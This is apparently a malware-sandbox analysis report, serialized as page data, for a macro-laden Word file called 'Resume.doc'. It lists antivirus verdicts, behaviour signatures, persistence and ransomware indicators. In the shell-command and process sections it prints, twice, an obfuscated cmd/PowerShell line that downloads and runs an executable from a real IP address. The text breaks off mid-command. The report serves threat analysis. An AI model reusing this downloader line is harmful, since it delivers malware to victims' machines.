zx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790444371486,"unified_at":"2026-09-26T17:39:31.486Z","metadata":{"hashes":{"sha256":"cf1a2c67aa42262062b860a7f79fccf07cb90761d329b3021c0dd913700cef78","sha1":"9daad7a32a6a0cdb3b27b097bade0d689b48c6c1","md5":"626bc95767efbf208cfec5ba6c77f677","sha512":"1999d00113379643b465f75971f16c7fdd478445a4ee8d2d6bf13f726a9e318051c06ffa2eac47a49f287e88d67d2a0fae6adcfc1194098c5a93f8c6a6518905","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"Resume.doc","file_type":["doc","office"],"file_type_id":"doc","file_size":92160,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1520359897000,"last_seen":1665267825000,"last_multi_scan":1665267825000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["dde","exploit","ransomware"]},"stats":{"av":{"malicious_count":20,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":22,"suspicious_count":14,"malicious_count":5,"total":41},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"W97M/Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent.aii","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W97M/Agent.5009972","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.VBA.Agent.BEH","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bytehero":{"name":"ByteHero","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"TrojWare.VBS.TrojanDownloader.Agent.AII","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.VBA.Agent.BEH (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"PowerShell/TrojanDownloader.Agent.AII trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ikarus":{"name":"IKARUS","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.VBA.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 0058ca141 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Script.Agent.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.cla","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Ole2.Vbs-heuristic.druvzi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"quickheal":{"name":"Quick Heal","success":true,"verdict":"malicious","threat_name":"W97M.Downloader.30585","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-MRD","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"symantec":{"name":"Symantec","success":true,"verdict":"malicious","threat_name":"W97M.Downloader","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"W2KM_PO.5E1A6A99","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"W2KM_PO.5E1A6A99","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"W97M.Downloader.DR","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan-Downloader.VBA.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xvirusantimalware":{"name":"Xvirus Anti-Malware","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"VBA.Agent","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"GetProcessHeap@KERNEL32.DLL at 00017095-00003428-14309-48-00402825\n GetProcessHeap@KERNEL32.DLL at 00017095-00003428-14309-51-0040280B\n GetProcessHeap@KERNEL32.DLL at 00017095-00003428-14309-246-0040284D\n GetProcessHeap@KERNEL32.DLL at 00017095-00003428-14309-204-00402839","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"198.100.119.11:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"RSDS# POjQc:\\bt\\21\\src\\client\\office\\obfuscate\\obj\\i386\\oOGALegit.pdb|7[ 4P@{05CA9FB0-3E3E-4b36-BF41-0E3A5CAA8CD8}D@*@\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$27","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DFED2CEB461D5C30C7.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\1570918325.cvr\"\n \"powershell.exe\" created file \"%TEMP%\\Cab7417.tmp\"\n \"powershell.exe\" created file \"%TEMP%\\Tar7418.tmp\"\n \"powershell.exe\" created file \"%TEMP%\\41097.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$28","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\RICHED20.DLL\" at 5B5A0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\riched20.dll\" at 60C70000","origin":"Loaded Module","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\d40b99d82652dbbc000d378a824ae296\\mscorlib.ni.dll\" at 68F40000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"cmd.exe\" (UID: 00015720-00003108) was launched with new environment variables: \"WecVersionForRosebud.BF4=\"4\"\"\n Process \"powershell.exe\" (UID: 00015735-00000288) was launched with new environment variables: \"c=\"ll\", b=\"she\", a=\"power\"\"\n Process \"WINWORD.EXE\" (UID: 00016582-00003784) was launched with modified environment variables: \"PSModulePath\"\n Process \"DW20.EXE\" (UID: 00039375-00003224) was launched with modified environment variables: \"PSModulePath\"\n Process \"DW20.EXE\" (UID: 00039375-00003224) was launched with missing environment variables: \"c, b, a\"","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"cmd /c set a=power&& set b=she&& set c=ll&& call %a%%b%%c% $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 'iaPZBEC2n';break;}catch{$mUldPJI2 = 'HM6U1X2';}$yqktX0P = 'JgvFWxpk';}\" on 2018-3-6.19:00:43.191","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$29","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Installation/Persistance","name":"Creates new processes","description":"\"WINWORD.EXE\" is creating a new process (Name: \"%WINDIR%\\System32\\cmd.exe\", Handle: 1324)\n \"WINWORD.EXE\" is creating a new process (Name: \"C:\\PROGRA~1\\COMMON~1\\MICROS~1\\DW\\DW20.EXE\", Handle: 1172)\n \"powershell.exe\" is creating a new process (Name: \"%TEMP%\\41097.exe\", Handle: 2080)","origin":"API Call","relevance":8,"id":"api-2","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"autoexec.bat\" has type \"data\"\n \"BazisVirtualCDBus.inf\" has type \"data\"\n \"Paint.lnk\" has type \"empty\"\n \"Sticky Notes.lnk\" has type \"empty\"\n \"Windows Media Player.lnk\" has type \"empty\"\n \"MSOUC.EXE\" has type \"data\"\n \"AUDIOSEARCHMAIN.DLL\" has type \"data\"\n \"vmnt64.exe\" has type \"data\"\n \"SCNPST32.DLL\" has type \"data\"\n \"CSS7DATA000C.DLL\" has type \"data\"\n \"c2.dll\" has type \"data\"\n \"WORDICON.EXE\" has type \"data\"\n \"MLCFG32.CPL\" has type \"data\"\n \"ogalegit.dll\" has type \"DOS executable (COM)\"\n \"rpcapd.exe\" has type \"data\"\n \"XLCALL32.DLL\" has type \"data\"\n \"yZw6snqBQ28DAzu.exe\" has type \"data\"\n \"Qt5Gui.dll\" has type \"data\"\n \"OUTLPH.DLL\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Installation/Persistance","name":"Drops executable files","description":"\"ogalegit.dll\" has type \"DOS executable (COM)\"\n \"41097.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"\n \"ml.exe\" has type \"DOS executable (COM)\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"GET /d1.jpg?rnd=53171 HTTP/1.1Host: 198.100.119.11Connection: Keep-Alive\"\n \"198.100.119.11\"\n Heuristic match: \"://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2b","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"System Security","name":"Modifies proxy settings","description":"\"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"powershell.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2c","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Possibly checks for the presence of an Antivirus engine","description":"\"COMODO\" (Indicator: \"comodo\")\n \"Kaspersky Lab\" (Indicator: \"kaspersky\")\n \"McAfee\" (Indicator: \"mcafee\")\n \"Avira\" (Indicator: \"avira\")\n \"Avast\" (Indicator: \"avast\")\n \"Symantec\" (Indicator: \"symantec\")","origin":"File/Memory","relevance":3,"id":"string-8","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a dropped file containing the Windows username (possible fingerprint attempt)","description":"Found dropped filename \"PSPUBWS.bmp\" containing the Windows username \"PSPUBWS\"\n Found dropped filename \"PSPUBWS.contact\" containing the Windows username \"PSPUBWS\"","origin":"Binary File","relevance":5,"id":"binary-19","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"8+EEx+MMUUEPhp@MQwEEUU}sIEEHUUBUUBUUBULEEMQUREEEE}syMUD%MMAXUELUUJYEMTEEPZMUD%MMA[UUx]yOpSUEMUBEMQUEHMU#UE#EMExjMUEUMMMU#UE#EMQEVMUEUMMMU#UE#EMQEp $MUEUMMMU#UE#EMQEMUE\" (Indicator: \"qemu\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download\" (SID: 2016538, Rev: 3, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO SUSPICIOUS Dotted Quad Host MZ Response\" (SID: 2021076, Rev: 2, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/67 reputation engines marked \"http://www.microsoft.com/genuine0\" as malicious (1% detection rate)\n 1/67 reputation engines marked \"https://www.torproject.org\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"General","name":"Found a potential E-Mail address in binary/memory","description":"Pattern match: \"08@normal.dotmadmin2microsoft\"\n Pattern match: \"oakedri@ep.igc\"\n Pattern match: \"z2rdl@64.fv\"\n Pattern match: \"w8@t.hw4\"\n Pattern match: \"tf@vgyt.vgyt\"\n Pattern match: \"th9it@eu.e\"\n Pattern match: \"dp2p@6.7meayaq\"\n Pattern match: \"wf@0oq.oxm9jrh0f\"\n Pattern match: \"f@a6.gd\"\n Pattern match: \"w@fcajxe6.n4\"\n Pattern match: \"k@-s-d.mp\"\n Pattern match: \"v@ni4.p9\"\n Pattern match: \"g88@b.kpij\"","origin":"File/Memory","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"WINWORD.EXE\" at 2018-3-6.19:01:31.824 (UID: 00016582-00003784)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"41097.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"BROWSERUPDATECHECK\"; Value: \"%LOCALAPPDATA%\\41097.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"powershell.exe\" wrote 32 bytes to a remote process \"%TEMP%\\41097.exe\" (Handle: 2080)\n \"powershell.exe\" wrote 52 bytes to a remote process \"%TEMP%\\41097.exe\" (Handle: 2080)\n \"powershell.exe\" wrote 4 bytes to a remote process \"%TEMP%\\41097.exe\" (Handle: 2080)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Detected indicator that file is ransomware","description":"$2d","origin":"File/Memory","relevance":7,"id":"string-13","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The analysis extracted file with a known ransomware suffix","description":"Found dropped filename \"dictionary.alcatel-lucent.aaa\" which has been seen in the context of ransomware (Indicator: .aaa)","origin":"Binary File","relevance":10,"id":"binary-22","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with suspicious keywords","description":"Found suspicious keyword \"Shell\" which indicates: \"May run an executable file or a system command\"","origin":"Static Parser","relevance":10,"id":"static-15","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2e","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"malicious","category":"General","name":"Document spawns new processes","description":"Document spawned a new process (macro present)","origin":"Indicator Combinations","relevance":7,"id":"summary-3","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"malicious","category":"General","name":"GETs files from a webserver","description":"\"GET /d1.jpg?rnd=53171 HTTP/1.1Host: 198.100.119.11Connection: Keep-Alive\"","origin":"Network Traffic","relevance":10,"id":"network-16","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"Office_OLE_DDE\" classified file \"MSOSTYLE.DLL\" as \"dde,exploit\" based on indicators: \"13446445aa3e\"","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded VBA macros with keywords that indicate auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"Static Parser","relevance":10,"id":"static-14","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains embedded string that indicates auto-execute behavior","description":"Found keyword \"Document_Open\" which indicates: \"Runs when the Word document is opened\"","origin":"File/Memory","relevance":10,"id":"string-20","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"}],"sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":28,"imported_dlls_count":163,"dropped_files_count":0,"extracted_files_count":267,"files_written_count":814,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":136,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":136,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["dde","exploit","ransomware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"5a9ed6bf7ca3e13988105163","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"Resume.doc","analysis_start_time":"2018-03-06T18:58:34+00:00","indicators_count":{"informative":22,"suspicious":15,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"198.100.119.11","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}],"dns_resolutions":null,"http_requests":[{"host":"198.100.119.11","host_ip":"198.100.119.11:80","url":"/d1.jpg?rnd=53171","method":"GET","header":"GET /d1.jpg?rnd=53171 HTTP/1.1\nHost: 198.100.119.11\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}],"processes":[{"pid":3060,"ppid":0,"name":"WINWORD.EXE","command_line":"/n \"C:\\Resume.doc\"","sha256":"8cfb55087fa8e4c1e7bcc580d767cf2c884c1b8c890ad240c1e7009810af6736","normalized_path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\WINWORD.EXE","uid":"00015279-00003060","icon":"$2f"},{"pid":3108,"ppid":3060,"name":"cmd.exe","command_line":"cmd /c set a=power&& set b=she&& set c=ll&& call %a%%b%%c% $BxDVp = 'MjTEOu';$SyMjz8 = new-object System.Net.WebClient;$LcR3qbgdw = 'sM6oKAf';$FiWMlrTB = (New-Object -ComObject word.application).version;$AnHmh2jCa = 'dCqBc0';$SyMjz8.headers['user-agent'] = $FiWMlrTB;$LkyMa = 'URyD1V';$FiWMlrTB.close();$Lo1VKB = 'VGNqOBU5';$FiWMlrTB.quit;$h4c29Fie = 'gh5MJ';$JDl2dtrfU = $env:temp + '\\41097.exe';$ZOvyUAXnC = 'VaPbsUdD6';foreach($nVIydZ in 'http://198.100.119.11/d1.jpg?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171,?rnd=53171'.Split(',')){try{$tQ9olwS = 'M0Kuqj9';$SyMjz8.DownloadFile($nVIydZ.ToString(), $JDl2dtrfU);$O0phos = 'DZTCF';Start-Process $JDl2dtrfU;$ZZAvQHCz1 = 